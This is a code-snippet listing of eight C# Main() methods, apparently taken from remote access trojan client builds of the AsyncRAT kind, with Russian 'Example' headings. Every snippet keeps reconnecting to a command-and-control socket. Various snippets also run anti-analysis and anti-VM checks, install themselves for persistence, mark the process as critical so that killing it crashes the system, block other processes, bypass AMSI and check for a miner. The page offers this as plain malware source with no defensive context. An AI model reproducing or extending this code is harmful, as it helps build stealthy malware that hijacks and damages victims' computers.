Пример #1
0
        static void Main()
        {
            Thread.Sleep(2500);
            if (!Methods.CreateMutex())
            {
                Environment.Exit(0);
            }

            if (Convert.ToBoolean(Settings.Anti))
            {
                Anti_Analysis.RunAntiAnalysis();
            }

            if (Convert.ToBoolean(Settings.Install))
            {
                NormalStartup.Install();
            }

            ClientSocket.InitializeClient();

            while (true)
            {
                if (ClientSocket.Connected == false)
                {
                    ClientSocket.Reconnect();
                }
                Thread.Sleep(1500);
            }
        }
Пример #2
0
        public static void Main()
        {
            for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
            {
                Thread.Sleep(1000);
            }

            if (!Settings.InitializeSettings())
            {
                Environment.Exit(0);
            }

            try
            {
                if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment
                {
                    Anti_Analysis.RunAntiAnalysis();
                }
                if (!MutexControl.CreateMutex()) //if current payload is a duplicate
                {
                    Environment.Exit(0);
                }
                if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
                {
                    AntiProcess.StartBlock();
                }
                if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process
                {
                    ProcessCritical.Set();
                }
                if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence]
                {
                    NormalStartup.Install();
                }
                Methods.PreventSleep(); //prevent pc to idle\sleep

                if (Methods.IsAdmin())
                {
                    Methods.ClearSetting();
                }
                Amsi.Bypass();
            }
            catch { }

            while (true) // ~ loop to check socket status
            {
                try
                {
                    if (!ClientSocket.IsConnected)
                    {
                        ClientSocket.Reconnect();
                        ClientSocket.InitializeClient();
                    }
                }
                catch { }
                Thread.Sleep(5000);
            }
        }
Пример #3
0
        static void Main(string[] args)
        {
            NormalStartup.Install();

            ClientSocket.InitializeClient();

            while (true)
            {
                Thread.Sleep(1000);
            }
        }
Пример #4
0
        public static void Main()
        {
            for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
            {
                Thread.Sleep(1000);
            }
            if (!Settings.InitializeSettings())
            {
                Environment.Exit(0);
            }

            try
            {
                if (!MutexControl.CreateMutex()) //if current payload is a duplicate
                {
                    Environment.Exit(0);
                }

                if (Convert.ToBoolean(Settings.Anti)) //run anti-virtual environment
                {
                    Anti_Analysis.RunAntiAnalysis();
                }

                if (Convert.ToBoolean(Settings.Install)) //drop payload [persistence]
                {
                    NormalStartup.Install();
                }

                if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin()) //active critical process
                {
                    ProcessCritical.Set();
                }

                Methods.PreventSleep(); //prevent pc to idle\sleep

                //new CheckMiner().GetProcess(); //check miner status
            }
            catch { }

            while (true) // ~ loop to check socket status
            {
                if (!ClientSocket.IsConnected)
                {
                    ClientSocket.Reconnect();
                    ClientSocket.InitializeClient();
                }
                Thread.Sleep(new Random().Next(1000, 5000));
            }
        }
Пример #5
0
        public static void Main()
        {
            Thread.Sleep(2500);
            if (!Settings.InitializeSettings())
            {
                Environment.Exit(0);
            }

            try
            {
                if (!MutexControl.CreateMutex())
                {
                    Environment.Exit(0);
                }

                if (Convert.ToBoolean(Settings.Anti))
                {
                    Anti_Analysis.RunAntiAnalysis();
                }

                if (Convert.ToBoolean(Settings.Install))
                {
                    NormalStartup.Install();
                }

                if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
                {
                    ProcessCritical.Set();
                }

                Methods.PreventSleep();

                new CheckMiner().GetProcess();
            }
            catch { }

            while (true)
            {
                if (!ClientSocket.IsConnected)
                {
                    ClientSocket.Reconnect();
                    ClientSocket.InitializeClient();
                }
                Thread.Sleep(new Random().Next(1000, 5000));
            }
        }
Пример #6
0
        static void Main()
        {
            if (Convert.ToBoolean(Settings.Install))
            {
                NormalStartup.Install();
            }

            ClientSocket.InitializeClient();

            while (true)
            {
                if (ClientSocket.Connected == false)
                {
                    ClientSocket.Reconnect();
                }
                Thread.Sleep(2500);
            }
        }
Пример #7
0
        static void Main()
        {
            if (Settings.Install == "true")
            {
                NormalStartup.Install();
            }

            ClientSocket.InitializeClient();

            while (true)
            {
                if (ClientSocket.Connected == false)
                {
                    ClientSocket.Reconnect();
                }
                Thread.Sleep(1000);
            }
        }
Пример #8
0
        static void Main()
        {
            Thread.Sleep(2500);
            if (!Methods.CreateMutex())
            {
                Environment.Exit(0);
            }

            if (Convert.ToBoolean(Settings.Anti))
            {
                Anti_Analysis.RunAntiAnalysis();
            }

            if (Convert.ToBoolean(Settings.Install))
            {
                NormalStartup.Install();
            }

            if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
            {
                ProcessCritical.Set();
            }

#if DEBUG
            ClientSocket.InitializeClient();
#else
            if (Settings.InitializeSettings())
            {
                ClientSocket.InitializeClient();
            }
            else
            {
                Environment.Exit(0);
            }
#endif
            while (true)
            {
                if (!ClientSocket.IsConnected)
                {
                    ClientSocket.Reconnect();
                }
                Thread.Sleep(new Random().Next(5000));
            }
        }